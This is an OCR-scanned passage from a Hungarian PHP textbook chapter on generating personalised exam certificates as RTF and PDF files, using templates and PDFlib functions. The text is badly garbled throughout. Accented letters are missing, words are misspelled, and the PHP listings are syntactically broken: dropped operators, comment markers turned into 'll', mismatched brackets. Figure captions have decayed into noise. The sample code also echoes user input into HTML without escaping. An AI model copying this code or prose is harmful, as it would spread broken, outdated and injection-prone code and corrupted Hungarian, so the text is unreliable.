dollrrt klnfle formtum fjlokat tlthetnk fel, amelyeket aztn PDF fjlknt lehet letlteni. A szolgltats kivlan m
kdtt oklevelnk esetben, m az ilyen jelleg projekteknl esetleg fontos belltsokat nem engedi mdostani. A ltrehozott
PDF llomnyt binris fjlknt, tmrtve trolja el, ami ettl igen nehezen mdostharv vlik.
A szolglratst a https://createpdf.adobe.com/ oldalon rjk el. Ha szerernnk kiprblni, ingyenesen megrehetjk. Ha tnl
kevesebb PDF fjlt kell ellltanunk, a http://www.acrobat.com oldalon elrhet ingyenes szolgltatst is ignybe vehetjk.
rdemes kiprblni a Ner Distillery oldaln (htrp://www.babinszki.com/distiller/) tallhat ingyenes webes felletet,
amely ps2pdf hasznlatval vgzi el az talakitst.
Vgl arra is lehetsgnk van, hogy az oklevelet XML-ben kdoljuk, majd az XML Style Sheet Transformarions (XSLT)
segtsgvel PDF-re vagy brmilyen ms formtumra alakitsuk. Ehhez a mdszerhez az XSLT alapos ismeretre van szksg,
gy ezzel rszletesebben most nem foglalkozunk.
PDF-et programozssal elllt szaftver
A PHP kpes tmogaeni PDF dokumentumok ltrehozst. A PHP PDFlib fggvnyei a PDFlib knyvrrat hasznljk,
amely a http://www.pdflib.com/producrs/pdflibfamily/ oldalrl rhet el. A PDFiib fggvnyek alkalmazsprogramozsi
fellett (API) nyjtja szmunkra a PDF dokumentumok ltrehozshoz.
A PDFlib nem ingyenes, fizets licenc szksges a hasznlathoz. A PDF!ib Lire ugyan nylt forrskdknt ingyenesen
elrhet, de csak bizonyos felttelekkel- pldul kizrlag nem kereskedelmi clra - hasznlhat.
Lteznek ingyenes knyvtrak is, ilyen pldul az FPDF. Az FPDF azonban a fizets knyvtrakban elrhetnl kevesebb
fi.mkcit knl. Radsul az FPDF- mivel PHP-ben, nem pedig PHP kiterjesztsknt C-ben rtk- valamivel lassabb is, mint
a msik kett. Az FPDF a http:/ /www.fpdf.org/ oldalrl tlthet le.
Fejezetnkben a PDF!ib knyvtrat hasznljuk, mert ez taln a leggyakrabban hasznlt PDF-ltrehoz kiterjeszts.
A phpinfo () fggvny kimenetbl tudjuk megllaptani, hogy a PDFiib teleptve van-e mr rendszernkn. A pdf cm
sor alatt lthatjuk, hogy a PDFlib tmogats be van-e kapcsolva, illetve a PDFlib melyik verzijval dolgozunk.

32

544

32. fejezet

Amennyiben TIFF vagy JPEG kpeket szeretnnk PDF dokumentumainkban hasznlni, a TIFF s a JPEG knyvtrat is
teleptennk kell. Ezek a http://www.libtilf.org/, illerve az ftp://ftp.uu.net/graphics/jpeg/ cmrl tlthetk le.
A PDFlib kiterjeszts alaprtelmezsben nincsen a PHP-vel teleprve; a fjlokat le kell tltennk a PECL (PHP Extension
Community Library) oldalrl, majd sajt kezleg kell teleptennk a kiterjesztst.
Nem windowsos rendszerek esetn a http://pecl.php.net/package/pdRib cmen tallhat fjlokat letlrve, majd azokat a pe cl
paranccsal teleprve juthatunk hozz a kiterjesztshez. Olvassuk el a http://www.php.net/manual/en/install.ped.pear.php oldalon
tallhat utastsokat!
Windows alatt a http:/ /pecl4win.php.net/ext.php/php_pdRib.dll cmen tallhat fjlt letlrve szerezhetjk be az elford
tott kiterjesztst, illerve azt is megtehetjk, hogy a lefordtott PECL kiterjesztsek teljes knyvtrc letltjk a PHP.net letl
tsek oldalrl. Letlts utn helyezzk a php_pdRib.dll fjlt a PHP kiterjesztseket tartalmaz knyvtrunkba (ez ltalban
a PHP teleptsi knyvern bell tallhat ext knyvtr), s adjuk hozz php.ini fjlunkhoz az albbi sort:
extension=php_pdf.dll!

A megolds ttekintse
A projektnkben kifejleszteni kivnt rendszernknek hrom lehetsges kimenere van. Ahogy azt a 32.1 brn is lthatjuk,
feltesszk a vizsgakrdseket, rtkeljk a vlaszokat, majd a hrom kzl valamelyik mdszerrel ltrehozzuk az oklevelet:
res sablonbl RTF dokumentumot ksztnk.
res sablonbl PDF dokumentumot ksztnk.

PDFlib fggvnyekkel programozva lltjuk el a PDF dokumentumot.


RTffjl
ltrehozsa
az res
sablonbl

32

Tesztkrdsek
lekrdezse

Tesztkrdsekre

adon vlaszok
rtkelse

PDFfjl
ltrehozsa
az res
sablonbl

PDFfjl
ltrehozsa
PDFiib
fggvnyekko

32.1 bra: A

vizsgztatrendszer a hrom klnfle oklevl valamelyikt llga el.

A projektet alkot fjlok sszefoglalst a 32.1 tblzatban talljuk.


32.1 tblzat: A oklevelet

e/kszt alkalmazs fjijai

Nv

Tpus

index.html

HTML oldal

A tesztkrdseket tartalmaz HTML rlap

ertekeles. php

Alkalmazs

A felhasznlk vlaszait kirtkel kd

rtf.php

Alkalmazs

Sablonbl RTF formtum oklevelet elllt kd

pdf.php

Alkalmazs

Sablonbl PDF formtum oklevelet elllt kd

pclflib.php

Alkalmazs

PDFlib fggvnyekkel PDF formtum oklevelet elllt kd

alairas.png

Image

A PDF!ib fggvnyekkel ksztett oklevlen szerepeltetend alrs pixel


grafikus kpe

PHPOklevel.rtf

RTF

Az RTF formtum oklevl sablonja

PHPOklevel.pdf

PDF

A PDF formtum oklevl sablonja

Lers

Most pedig nzzk meg vgre magt az alkalmazst!

Perszanalizlt PDF dokumentumok ellltsa

545

A tesztkrdsek lekrdezse
Az index.html fjl egszen magtl rtetd. HTML rlapot tartalmaz, amellyel megkrdezzk a felhasznl nevt, illetve
feljegyezzk a tesztkrdsekre adott vlaszait. Valdi vizsgaalkalmazs esetn letszerbb, hogy a krdseket adatbzisbl vesz
szk. Mostani feladatunk az oklevl ellltsra sszpontost, ezrt a krdseket egyszeren berjuk a HTML kdba.
A nev mez szveges adatot vr. Minden vlasznl hrom vlasztgombot ltunk, amely segtsgvel a felhasznl megje
llheti az ltala helyesnek vlt vlaszt. Az rlap kpet hasznl klds gombknt.
Az oldalnak a kdjt a 32.1 pldakdban lthatjuk.
32.1 pldakd: index.html-A tesztkrdseket tartalmaz HTML oldal
<html>
<body>
<hl><p align="center">
<img src="rosette.gif" alt="">
Oklevl
<img src="rosette.gif" alt=""></p></hl>
<p>Itt az alkalom,

hogy n is megszerezze a vilgszerte elismert

Kpzeletbeli PHP Minst Intzmny szles krben elfogadott


PHP-oklevelt!</p>
<p>Ehhez pusztn vlaszolnia kell az albbi krdsekre:</p>
<form action="ertekeles.php" method="post">

<p>Neve <input type="text" name="name" /></p>

<p>Mire szolgl az echo PHP-beli utasts?</p>


<ol>
<li><input type="radio" name="kl" value="l" />

32

Karakterlncok kiratsra.</li>
<li><input type="radio" name="kl" value="2" />
sszead kt szmot.</li>
<li><input type="radio" name="kl" value="3" />
Ltrehozza a kdunk rst befejez varzstrpt.</li>
</ol>

<p>Mire szolgl a cos()

PHP fggvny?</p>

<ol>
<li><input type="radio" name="k2" value="l" />
Radinokra szmolja a koszinusz rtket.</li>
<li><input type="radio" name="k2" value="2" />
Radinokra szmolja a tangens rtket.

</li>

<li><input type="radio" name="k2" value="3" />


Ez nem PHP fggvny,

hanem egy grg sziget. </li>

</ol>
<p>Mire hasznlhat a mail()

PHP fggvny?</p>

<ol>
<li><input type="radio" name="k3" value="l" />
E-mail zenetet kld.
<li><input type="radio" name="k3" value="2" />
Ellenrzi a bejv postafikot.
<li><input type="radio" name="k3" value="3" />
Felhvja a postahivatalt.
</ol>

\,

546

32. fejezet

<p align="center"><input type="image" src="oklevelet-nekem.gif" border="O"></p>


</form>
</body>
</html>

A 32.2 brn a bngsznkbe betlttt index. html oldalt lthatjuk.

l Oklevl
lll ........ loafrO.---VIfl'!6oM.....,_",. .... _
....... J'KP.ol.:let.'OIIil!

lio:etde'i.,ect..PHP.beiiiMIIoo'
1
l

o......,.,......_.
Oo.-...tra..a...

0 U..
..... . k0doool<n.ill>cfr,..6

Mft.....o....OPHP

!O ........_.nibl.
10-+--

l. os.-PHP._.....,,.._..,.,_...,;p.

:.&e-.....o..-;)PHP.......,.
l
l

OE;.--
OEio>lo.."..'6

J. o...,..

32.2 bra: Az index.htmlkrdseket

32

teszfel afelhasznlnak.

A vlaszok rtkelse
Amikor a felhasznl az index.htmlfjlban elkldi a krdsekre adott vlaszait, rtkelni kell azokat, majd ki kell szmolni
a vizsga eredmnyt. A 32.2 pldakdban lrhat ertekeles.php kd pontosan ezt teszi.
32.2 pldakd: ertekeles.php-A

tesztet rtkel kd

<?php
//rvid vltoznevek ltrehozsa
$kl
$k2

$ POST['kl'];
=

$_POST['k2');

$k3 = $ POST['k3');
$nev =$ POST['nev');

ll ellenrizzk,
if(($kl==")

ll

hogy minden adatot megkaptunk-e


($k2==") l l

($k3==") l l

($nev=="))

echo "<hl>
<p align=\"center\">
<img src=\"rosette.gif\" alt=\"\" l>
Sajnljuk:
<img src=\"rosette.gif\" alt=\"\" /></p></hl>
<p>Adja meg nevt,
else

s vlaszoljon az sszes krdsre!</p>";

ll pontszmok sszeadsa
$teszteredmeny = 0;
if ($kl == l)

ll a kl-re adott helyes vlasz l pontot r


$teszteredmeny++;

Perszanalizlt PDF dokumentumok ellltsa

if($k2 == l)

547

ll a k2-re adott helyes vlasz l pontot r


$teszteredmeny++;

if($k3 == l)

ll a k3-ra adott helyes vlasz l pontot r


$teszteredmeny++;

ll pontszm tszmtsa szzalkra


$teszteredmeny = $teszteredmeny l 3

if($teszteredmeny < 50)

100;

ll a vizsgz megbukott
echo "<hl>
<p align=\"center\">
<img src=\"rosette.gif\" alt=\"\" />
Sajnljuk:
<img src=\"rosette.gif\" alt=\"\" /></p></hl>
<p>A sikeres vizsghoz legalbb 50 szzalkot el kell rni.</p>";
else

ll hozzuk ltre a teszteredmnyt egy tizedesjegyre kerekt karakterlncot!


$teszteredmeny = number_format($teszteredmeny,

l);

echo "<hl align=\"center\">


<img src=\"rosette.gif\" alt=\"\" />

32

Gratullunk!
<img src=\"rosette.gif\" alt=\"\" /></hl>
<p>Szp volt,

".$nev.",

".$teszteredmeny."%-os eredmnnyel

'---

sikerlt letennie a vizsgt! </p>";

ll az oklevelet ltrehoz kdokra mutat hivatkozsok megjelenitse


echo "<p>Krjk,

kattintson ide,

hogy Microsoft Word (RTF)

formtumban letltse

oklevelt!</p>
<form action=\"rtf.php\" method=\"post\">
<div align=\"center\">
<input type=\"image\" src=\"oklevel.gif\" border=\"0\">
</div>
<input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/>
<input type=\"hidden\" name=\"name\" value=\"".$nev."\"/>
</form>

<p>Krjk,

kattintson ide,

hogy Portable Document Forrnat (PDF)

formtumban

letltse oklevelt!</p>
<form action=\"pdf.php\" method=\"post\">
<div align=\"center\">
<input type=\"image\" src=\"oklevel.gif\" border=\"0\">
</div>
<input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/>
<input type=\"hidden\" name=\"name\" value=\"".$nev."\"/>
</form>

<p> Krjk,

kattintson ide,

Document Forrnat (PDF)

hogy PDFLib fggvnyekkel ltrehozott Portable

formtum fjlknt letltse oklevelt'</p>

548

32. fejezet

<form action=\"pdflib.php\" method=\"post\">


<div align=\"center\">
<input type=\"image\" src=\"oklevel.gif\" border=\"0\">
</div>
<input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/>
<input type=\"hidden\" name=\"name\" value=\"".$nev."\"/>
</form>";

?>

A kd zenetben kzli a felhasznlval, ha nem minden krdsre vlaszolt, vagy nem rte el a sikeres vizsghoz szksges
eredmnyt.
Ha a felhasznl megfelelen vlaszolt a krdsekre, elksztheti oklevelt. A sikeres vizsga esetn lthat kimenetet a 32.3
bra mutaga.

u:
.rz=_;..----"-"' ... --..a-.s
rt_;;..,
Gratullunk!

32

32.3 bra: Az ertekeles.php kd lehetsget ad a sikeres vizsgznak,


hogy a Jelknlt hrom mdszer valamelyikvel elksztse oklevelt.
A felhasznl itt hrom lehetsg kzl vlaszthat: RTF formtum vagy ktfle PDF formtum oklevelet kszthet mag
nak. A kvetkezkben az ezeket a dokumentumokat elllt kdokat fogjuk megvizsglni.

RTF formtum oklevlltrehozsa


Semmi akadlya nincsen az RTF dokumentumok olyatn ltrehozsnak, hogy ASCII szveget runk fjlba vagy szveges
vltozba, m ehhez egy teljesen j szintaktikt kellene elsajttanunk. Nzzk meg az albbi egyszer RTF dokumentumot:
{\rtfl
{\fonttbl {\fO Arial;}{\fl Times New Roman;}}
\f0\fs28

Fcm\par

\fl\fs20 Ez egy rtf dokumentum.\par

l
A dokumentum olyan fonttblt hoz ltre, amely kt bettpusbl ll: az egyik bettpus az fO-knt hivatkozott Arial,
a msik pedig az fl-knt hivatkozott Times New Roman. Ezt kveten az fO (Arial) bettpussal, 28-as mretben (azaz
14 pontos betvel) lerja a Fcm, majd 20-as mret (10 pontos) fl ( Times New Roman) bettpussal az Ez egy rtf
dokumentum. szveget.

Ugyan manulisan is ellltharunk egy ilyen dokumentumot, de a PHP nem rendelkezik a munknk igazn nehz rszeit,
pldul a kpek beillesztst megknnyt fggvnyekkeL Szerencsre sok dokumentumban statikus a szerkezet, a stlus s
a szveg nagy rsze, s csak egy-egy kis rszt kell a perszonalizlshoz cserlgetni. Ezrt az ilyen dokumentumok ellltsnak
hatkonyabb m4ia a sablonok hasznlata.
Szvegszerkeszt segtsgvel knnyedn ltrehozharunk olyan, viszonylag sszetett dokumentumot is, mint amilyet a 32.4
brn ltunk.

Perszanalizlt PDF dokumentumok ellltsa

549

1'1-'1-

32.4 bra: Szvegszerkesztvel egyszeren kszthetnk bonyolultabb, tetszets kinzet sablonokat.


A sablon helykitltket (pldul <<NEV>>) tartalmaz, amelyek azokat a helyeket jellik, ahova a dinamikus tartalmat be
kell illesztennk. Mindegy, hogy ezek a helykitltk hogyan nznek ki, pldnkban kt < s > karakter kz tesszk a besz
rand adatra utal lerst. Fontos viszont, hogy olyan helykitltket vlasszunk, amelyek mg vletlenl sem fordulnak el
a dokumentum tbbi rszben. Segt a sablon megtervezsben, ha a helykitltink nagyjbl ugyanolyan hosszsgak, mint
az adatok, amelyekre cserljk majd ket.
Ebben a dokumentumban a <<NEV>>, <<Nev>>, <<teszteredmeny>> s <<eeee/hh/nn>> helykitltt lthatjuk.
Figyeljk meg, hogy a NV s a Nv is elfordul! Ennek oka, hogy a kis- s nagybetkre rzkeny mdszerrel fogjuk lecserlni
ket.
Most, hogy birtokunkban van a sablon, mr csak az azt perszanalizl kdra van szksgnk. Ezt az rtf.php nev kdot
a 32.3 pldakd tartalmazza.
32.3 pldak d: rtf. php

- Az RTFformtum perszanalizlt oklevelet

elllt kd

32

<?php
//rvid vltoznevek ltrehozsa
$nev = $_POST['nev'];
$teszteredrneny

ll ellenrizzk,
if(!$nev

l l

$_POST['teszteredrneny'];
hogy megkaptuk-e a szksges adatokat

!$teszteredrneny)

echo "<hl>Hiba:</hl>
<p>Az oldal meghvsa nem sikerlt.</p>";
else

ll hozzuk ltre a fejlcet,

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


header('Content-type:

application/msword'};

header('Content-Disposition:

inline,

filename=okl.rtf'};

$datum = date('Y.m.d'};

ll nyissuk meg a sablonfjlt!


$fajlnev =

'PHPOklevel.rtf';

$fp = fopen ($fajlnev,

'r'};

ll olvassuk be a sablont egy vltozba!


$kimenet = fread( $fp,

fclose ($fp};

filesize($fajlnev});

550

32. fezet

ll cserljk ki a sablon helykitltit sajt adatainkkal!


$kimenet

str replace('<<NEV>>',

strtoupper($nev),

$kimenet

str_replace('<<Nev>>',

$nev,

$kimenet

str_replace('<<teszteredmeny>>',

$kimenet

str_replace('<<eeee lhhl nn>>',

$kimenet);

$kimenet);
Steszteredmeny,

$datum,

$kimenet);

$kimenet);

ll az ellltott dokumentum kldse a bngsznek


echo $kimenet;

?>

A kd alapszint hibaellenrzst vgezve meggyzdik arrl, hogy az sszes felhasznli adatot megkapta-e, ezt kveten
pedig az oklevl ltrehozsval folytatja munkjt. A kd vgeredmnye nem HTML, hanem RTF formram fjl lesz, gy
tjkoztatnunk kell errl a felhasznl bngszjt. Erre azrt van szksg, hogy a bngsz a megfelel alkalmazssal prblja
meg megnyitni a fjlt, vagy Save As ... (Ments msknt) tpus prbeszdablakot jelentsen meg, ha nem ismem fel az

rtf

kiterjesztst.
A kimenetknt ltrehozand fjl MIME-tpust a PHP

header

() fggvnyvel hatrozhatjuk meg, hogy a megfelel

HTTP fejlcet kldjk el a bngsznek:


header('Content-type:

applicationl msword');

header('Content-Disposition:

inline,

filename=okl.rtf');

Az els fejlc kzli a bngszvel, hogy Microsoft Word fjlt kldnk (ami szigoran vve nem igaz, de ez az RTF fjlok

megnyitsra leggyakrabban hasznlt alkalmazs). A msodik fejlc azt mondja a bngsznek, hogy automatikusan jelentse
meg a fjl tartalmr, amelynek ajnlott fjlneve okl. rtf. Ez az alaprtelmezett fjlnv, amellyel a felhasznl akkor tallkozik,
amikor megprblja bngszjbl elmenteni a fjlt.
A fejlcek elkldse utn megnyitjuk s beolvassuk a sablon RTF fjlt a

$kimenet

vltozba, majd az st r_replace ()

fggvnnyel lecserljk a helykitltket a fjlban tnylegesen szerepeltetni kvnt adatokra. A

32

$kimenet = str_replace('<<Nev>>',

sor pldul a

Nev>>

$nev,

$kimenet);

helykitlt elfordulsait cserli le a $nev vltoz tartalmra..

Az adatok lecserlse utn mr csak meg kell jelenteni bngsznkben a kimenetet. A 32.5 brn az rtf. php kd futtat
snak mintakimenett lthatjuk.
Ez a mdszer kivlan mkdik. A

st r_ replace()

fggvny meghvsai nagyon gyorsan lefutnak, annak ellenre, hogy

a sablon s ezltal a $kimenet vltoz tartalma is viszonylag hossz. Alkalmazsunk szempontjbl a legnagyobb problmt
az jelenti, hogy a felhasznl az oklevelet - nyomtats cljbl- betlti szvegszerkeszt programjba, ahol egyszeren lehe
tsge nylik mdostani azt. Az RTF formrum nem teszi lehetv csak olvashat dokumenrumok ltrehozst.

32.5 bra: Az rtf. php

kd az RTF sablonhl lllja el az oklevelet.

PDF formtum oklevlltrehozsa sablonbl


Hasonl folyamattal lltharunk el sablonbl PDF formram oklevelet. A legfbb klnbsg, hogy a PDF fjl ltrehozsakor
helykitltink- az ltalunk hasznlt Acrobat verzijtl fggen - formzsi kdokkal keveredhetnek. Ha pldul szveg-

Perszanalizlt PDF dokumentumok ellltsa

551

szerkeszt segtsgvel belenznk az ltalunk ltrehozott oklevlsablonba,azt fogjuk ltni, hogy a helykicltk a kvetkez
kppen nznek ki:
<<N)-13(AME)-10(>)-6(>
<<Na)-9(m)O(e)-18(>>
<)-ll(<)l(sc)-17(or)-6(e)-6(>)-ll(>
<)-ll(<)l(m)-12(m)0(/d)-6(d)-19(/)l(yy)-13(yy)-13(>>

Ha vgignznk az llomnyon, lthatjuk,hogy az RTF formcummal ellenttben ezt az emberi szem sokkal kevsb kpes
elolvasni.

Megjegyzs: A PDF sablonfjl formtuma az ltalunk hasznlt Acrobat vagy egyb PDF-ltrehoz eszkz verzijtl fgg.
A pldhoz megrt kd egyltaln nem biztos, hogy ltalunk ltrehozott sablonok esetn is mkdni fog. Ellenrizzk sablonunkat, s szksg esetn mdostsuk a kdot! Ha a problma tovbbra is fennll, alkalmazzuk a fejezet kvetkez rszben
bemutatott, a PDF/ib fggvnyeket hasznl kdot! Annak rdekben, hogy a gyakorlatot vgig tudjuk csinlni, az angol nyelv
PDF sablont nem mdostottuk. !gy ha megnyitjuk a fjlt egy szvegszerkesztben, a helykitltk pontosan a fent lthat m
don fognak kinzni.

Tbbfle megolds ltezik erre a problmra. Az egyik lehetsg,hogy vgiglpkednk a helykitlckn,s kitrljk a for
mzsi kdokat. Ez alig vltoztatja meg a dokumentum kinzett,mert az elz sablonban begyazott kdok gyis jelzik,hogy
mennyi helyet kell hagyni a lecserlend helykicltk beti kztt. Ennl a megkzeltsnl azonban vgig kell menni a teljes
PDF f:ijlon,s sajt kezilleg kell szerkeszteni, radsul ezt minden egyes alkalommal meg kell tennnk, ha megvltoztattuk
vagy frissttettk a fjlt. Ez nem jelent tl nagy munkt abban az esetben, ha csak ngy helykitltvel llunk szemben, de rm
lomm vlhat,ha tbb dokumentum szmos helykitltjvel kell foglalkozni, s gy dntnk,hogy az sszes dokumeneum
ban megvltoztatjuk - mondjuk- a fejlcet.
Egy msik mdszerrel elkerlhet az ilyen problma. Adobe Acrobat segitsgvel ltrehozunk egy PDF rlapot, amely a ko
rbban hasznlt HTML rlapokhoz hasonlan res, elnevezett mezket tartalmaz. Ezt kveten PHP kddal elkszthetjk
az FDF (Forms Data Format) fjlt, ami lnyegben egy sablonba berand adathalmaz. FDF f:ijlokat a PHP FDF fggvny
knyvcrval hozhacunk ltre: egsz pontosan az fdf_create () fggvnnyel lltjuk el a fjlt, az fdf_set_value ()
fggvnnyel meghatrozzuk a mezk rtkeit,majd az fdf_set_file () fggvnnyel belltjuk a megfelel sablonfjlt. Vgl
a megfelel MIME-tpussal- ez jelen esetben vnd. fdf- tadjuk a fjlt a bngsznek,s annak Acrobat Reader bvtmnye
kicserli az rlapban az adatokat.
Mindez nagyon jl hangzik, azonban kt szpsghibja is van a dolognak. Elszr is azt felttelezi,hogy rendelkeznk az
Acrobat Professional programmal (a teljes verzival, nem az ingyenes olvasval, st nem is a Standard verzival). Msodsorban
a soron belli szvegeket esetenknt jval krlmnyesebb kicserlni,mint az rlapmezket. Egyes helyzetekben ez problmt
okozhat,de ez mindig az adott dokumentumtl fgg. A PDF dokumentumok ltrehozsnak feladara igen gyakran levelek
ellltsakor jelentkezik, s a levelekben sok olyan szveg lehet,amit soron bell kell cserlni. Ilyen clra az FDF fjlok nem
igazn hasznlhatk. Ha viszont pldul adnyomtatvnyt szecetnnk online kitlteni, akkor a fenti problmk egyltaln nem
jelentkeznek.
Az FDF formtumrl az Adobe weboldaln,a http:/ /www.adobe.com/ devnet/ acrobat/fdftoolkit.html cmen olvasharunk
bvebben.
Ha gy dntnk, hogy ezt a megkzeltst vlasztj uk,rdemes lehet elolvasni a PHP online kziknyvben az FDF doku
mentcijt: http:/ /www.php.net/ manual/ en/ ref.fdf.php.
Most pedig sszpontostsunk a problma fent emltett,els megoldsi mdjra! Ha szrevesszk,hogy a helykitltkhz
adott formzsi kdok csak ktjelbl, szmjegyekbl s zrjelekbl llnak,vagyis regulris kifejezsekhez illeszthetk, akkor
meg tudjuk oldani a PDF fjlban lv helykicltk keresst s cserjt. rtunk egy fggvnyt ( pdf_csere ()),amely automa
tikusan ellltja az adott helykitlthz illeszked regulris kifejezst, majd a megfelel szvegre cserli a helykicltt.
Ne feledjk, hogy az Acrobat egyes verziban a helykicltk egyszer szvegek is lehetnek, amiket a korbban ltottak sze
rint az st r_ replace () fggvnnyel is kicserlhetnk!
Ezt a kiegsztst leszmtva a PDF sablonbl oklevelet elllt kd igen hasonl az RTF formcum esetn lcotthoz. A k
dot a 32.4 pldakd tartalmazza.
32.4 pldakd: pdf. php-A perszanalizlt PDF oklevelet sablon alapjn elllt kd
<?php
set_time_limit(180);

// a kd lass

lehet

32
'--

552

32. fejezer

//rvid vltoznevek ltrehozsa


$nev = $_POST['nev'];
$teszteredmeny = $ POST['teszteredmeny'];
function pdf_csere($minta, $csere, $string)
$hossz = strlen( $minta );
'';

$regkif

for ($i = O;

$i<$hossz;

$i++)

$regkif .= $minta[$i];
($i<$hossz-1) {

if

$regkif .= "(\)\-{0,1)[0-9]*\(){0,1)";

return ereg replace ( $regkif, $csere, $string );

if(!$nev

l l

!$teszteredmeny) {

echo "<h1>Hiba:</h1>
<p>Az oldal meghivsa nem sikerlt.</p>";
else

ll hozzuk ltre a fejlcet, hogy segitsnk a bngsznek


ll a megfelel alkalmazst kivlasztani!
header('Content-Dispasition: filename=okl.pdf');
header('Content-type: application/pdf');

32

$datum = date('F d, Y');

ll sablonfjlunk megnyitsa
$fajlnev = 'PHPOklevel.pdf';
$fp = fopen ($fajlnev, 'r');

ll sablon beolvassa vltozba


$kimenet = fread($fp, filesize($fajlnev));
fclose ($fp);

ll cserljk ki a sablon helykitltit sajt adatainkkal!


$kimenet

pdf_csere('<<NAME>>', strtoupper($nev), $kimenet);

$kimenet

pdf_csere('<<Name>>', $nev, $kimenet);

$kimenet

pdf_csere('<<score>>', $teszteredmeny, $kimenet);

$kimenet

pdf csere('<<mm/dd/yyyy>>', $datum, $kimenet);

ll az elllitott dokumentum kldse a bngsznek


echo $kimenet;
?>

Ez a kd a PDF perszonalizlr vltozatt llrja el. A 32.6 brn lthat dokumentum szinte brmilyen rendszeren ugyan
olyan nyomatot eredmnyez, s valamivel nehezebben mdosthat, illetve szerkeszthet. Lthatjuk, hogy

ez

a PDF dokumen

tum majdnem tkletesen gy nz ki, mint a 32.5 brn lv RTF formtum.


A mdszernek az egyik hibja, hogy a kd a regulris kifejezsek illesztse miatt elg lassan fut le. A regulris kifejezsek

sokkal tbb idr ignyelnek, minr az RTF verzinl hasznlhat str_replace() fggvny. Ha sok helykitltt kell doku
mentumainkban lecserlni, vagy nagy szm dokumentumot kivnunk ltrehozni ugyanazon a kiszolgln, akkor rdemes

Perszonalizlt PDF dokumentumok ellltsa

553

ms megkzeltst vlasztani. Egyszerbb sablonok esetn ez kevsb problms, ebben a fjlban is a kpeket jelkpez adatok
teszik ki az llomny nagy rszt.

tt
32.6 bra: A pdf. php kd PDF sablonbl lla el az oklevelet.

PDF dokumentum ellltsa PDFlib fggvnyekkel


A PDFlib knyvtrral dinamikusan hozhatunk ltre PDF dokumentumokat az interneten. Szigoran nzve nem a PHP rsze,
hanem klnll knyvtr, amely szmtalan, klnbz programozsi nyelvekbl meghvhat fggvnyt tartalmaz. A knyvtr
hasznlathoz szksges fellet (language binding) a C, C++,Java, Perl, Python,Tcl s ActiveX/COM nyelvhez rhet el.
A PDFliber hivatalosan a PDF!ib GmbH tmogatja. Ez azt jelenti, hogy vagy a PHP dokumentcijban (http://www.php.
n et/ en/ manual/ ref.pdf.php ) , vagy a http:/ /www.pdflib.com oldalrl letlthet hivatalos dokumentciban tallunk bvebb

32

informcit.

"Hell, vilg!'' kd PDFlib fggvnyekkel


Ha a PDFlib knyvtrt bekapcsolva teleptettk a PHP-t, akkor a 32.5 pldakdban lthat, egyszer.Hell, vilg!" program
mal tesztelhetjk a knyvtr mkdst.
32.5 pldakd: tesztpdf. php-A klasszikus "Hell, vilg!" plda a PDFlib PHP-n keresztli hasznlatra
<?php

ll pdf dokumentum ltrehozsa a memriban


$pdf = pdf_new();
pdf_open_file($pdf,

"");

pdf_set_info($pdf,

"Szerz",

pdf_set_info($pdf,

"Cm",

pdf_set_info($pdf,

"PDF ltrehozja",

pdf set info($pdf,

"Trgy",

ll az A4-es paprmret 210


pdf_begin_page($pdf,

595,

"Luke Welling s Laura Thomson");

"Hell,

vilg!

(PHP)");

"tesztpdf.php");

"Teszt PDF");

297

mm,

azaz 595

842 pont

842);

ll knyvjelz hozzadsa
pdf_add_bookmark($pdf,

'1. oldal',

$betutipus = pdf_findfont($pdf,
pdf setfont($pdf,

$betutipus,

O, 0);

'Times-Roman',
24);

'host',

0);

554

32. fejezet

50,

pdf set_text_pos($pdf,

700);

ll szveg rsa
pdf_show($pdf, 'Hell, vilg!');
pdf_continue_text($pdf,'(-

mondja a PHP)');

ll dokumentum vge
pdf_end_page($pdf);
pdf_close($pdf);
$adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


header('Content-Type:

applicationlpdf');

header('Content-Disposition:
header('Content-Length:

inline;

filename=tesztpdf.pdf');

' . strlen($adat));

ll PDF kimenet ltrehozsa


echo $adat;
?>

Ha a kd nem mkdik, akkor nagy valsznsggel az albbi hibazenetet fogjuk ltni:


Fatal error: Call to undefined function pdf new()
in C:\Program Files\Apache Software
Group\Apache2.2\htdocs\php_es_mysql\32 fejezet\tesztpdf.php on line 4

vagyis

32

Vgzetes hiba:

A pdf_new() nev nem definilt fggvny hvsa

a C:\Program Files\Apache Software


Group\Apache2.2\htdocs\php_es_mysql\32

fejezet\tesztpdf.php fjl 4. sorban

Ez az zenet azt jelenti, hogy vagy nem teleptettk a PDFlib kiterjesztst, vagy nem kapcsoltuk be a PHP-ben.
A telepts folyamata viszonylag egyrtelm, m nhny rszlete az ltalunk hasznlt PHP s PDFlib konkrt verzijrl
fgg. Rszleres utastsokat tallunk az online PHP kziknyv jegyzetekkel elltott vltozatnak a PDFlib knyvtrral foglal
koz oldaln, ahol hasznos felhasznli megjegyzseket is olvashatunk.
Ha a kd megfelelen fut rendszernkn, rdemes megvizsglni a mkdst. A
$pdf = pdf_new();
pdf open_file($pdf,

"");

sorok hozzk ltre a memriban a PDF dokumentumot.


A pdf _set_info( ) fggvnnyel cmkket adharunk a dokumentumnak: trgy, cm, a PDF ltrehozja, szerz, a kulcssza
vak listja, illerve egy egyni, a felhasznl ltal definilt mez.
A kdban a szerzt, a cmer, a fjl ltrehozjt s a trgyat adtuk meg. rdemes megjegyezni, hogy rnind a hat informcis
mez opcionlis:
pdf set info($pdf,

"Szerz",

pdf set_info($pdf,

"Cm",

"Luke Welling s

pdf_set_info($pdf,

"PDF ltrehozja",

pdf set info($pdf,

"Trgy",

"Hell,

vilg!

Laura

Thomson");

(PHP)");

"tesztpdf.php");

"Teszt PDF");

Minden PDF dokumentum adott szm oldalbl ll. j oldal megkezdshez a pdf_begin_page () fggvnyt kell meg
hvni. A pdf _open ( ) ltal visszaadott azonost mellett az oldal mrett kell a fggvnynek paramce(knt tadni. A doku
mentum akr minden oldala klnbz mret lehet, de ha nincs valami klnleges oka, akkor rdemes egysges paprrnretet
hasznlni.
A PDFlib pontokban szmolja gy az oldalmretet, mint az egyes oldalon lv koordintkat. Az A4-es oldal krlbell
595

842, az amerikai szabvnyknt elterjedt letter mret 612

pdf begln page($pdf,

595,

842);

sor egy A4-es mret oldalt hoz ltre a dokumentumban.

